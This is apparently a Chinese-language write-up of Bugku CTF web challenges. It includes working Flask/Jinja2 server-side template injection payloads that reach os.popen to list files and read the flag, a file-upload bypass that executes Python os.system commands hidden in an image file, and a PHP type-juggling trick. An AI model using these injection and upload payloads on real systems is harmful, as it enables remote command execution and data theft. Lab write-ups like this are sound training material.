bugku.ctf ---WEB
1.Simple_SSTI_1
1.启动场景
2. 页面说你需要输入一个名为flag的参数。
3.查看网页源代码,提示在flask中,设置了secret_key。意思是在注入模板中输入内容就会显示对应的值。
4.传入?flag={{config.SECRET_KEY}}显示flag
2.Simple_SSTI_2
魔术对象:
__class__:返回类型所属的对象
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__"返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__:获取当前类的所有子类
__init__ :类的初始化方法
__globals__:对包含(保存)函数全局变量的字典的引用
os.popen():
__globals__[‘os’].popen(‘ls’,‘r’).read()
1.启动好环境之后 依旧是服务端模板注入,查看源代码没有可利用的信息
2.http://114.67.175.224:19941/?flag={{config}}
3.使用ls查看有哪些文件:
?flag={{config.__class__.__init__.__globals__['os'].popen('ls','r').read()}}
4.发现了flag文件,直接cat查看?flag={{config.__class__.__init__.__globals__['os'].popen('cat flag','r').read()}}
3.Flask_FileUpload
新建txt,输入: import os os.system('ls /') 保存为a.png,然后上传,发现根目录下有个flag, 然后在修改txt内容为: import os os.system('cat /flag') 保存后,再上传,在新页面中查看源码,得到flag ***因为python执行系统命令需要os这个库***
源码限制了白名单为jpg、png 上传php失败了
查看源代码意思为:上传文件,我会返回python运行的结果
上传一下jpg
使用os模块,并把后缀改为jpg上传抓包,发现jpg内的代码执行成功,但是没有显示flag,说明不在当前目录下。
import os
os.system('ls/')
查看根目录下的文件,发现flag位置。
import os
os.system('cat /flag')
4.留言板
5.滑稽
1.启动环境后页面显示这个
2.查看页面源代码
6.计算器
计算题答案填进去就行了,但是发现有长度限制
F12发现输入框maxlength="1",意思是最大长度是1,改大一点提交
7.GET
代码告诉我们用get方式对what进行传参
?what=flag即可。
8.POST
用POST方式对what进行传参。
抓包 在repeater模块下右键,改变提交方式,Change request method
9.矛盾
$num=$_GET['num'];//GET方式获取参数
if(!is_numeric($num))//is_numeric()函数是判断是否为数字或者数字字符串,且有bool is_numeric ( mixed $var )
{
echo $num;
if($num==1)//矛盾既要是1又要不是数字
echo 'flag{**********}';
}
构造payload语句 num=1e
10.alert
F12打开后查找到script中的一串编码,复制粘贴刀一个新建文本文档中,然后将文本文档后缀改为html,双击打开即可
burpsuite抓包
然后发送到重放模块
把这个复制粘贴到html10解码 XSS平台-XSS测试网站-仅用于安全免费测试 (xssaq.com)
![](https://i-blog.csdnimg.cn/direct/5f3e330a390a424e87016682f2fd0066.png)
11.你必须让他停下
ctrl+u 一直刷新 到10.jpg就会出现flag
或者burpsuite抓包,然后发送到重放器,发送几次就有flag了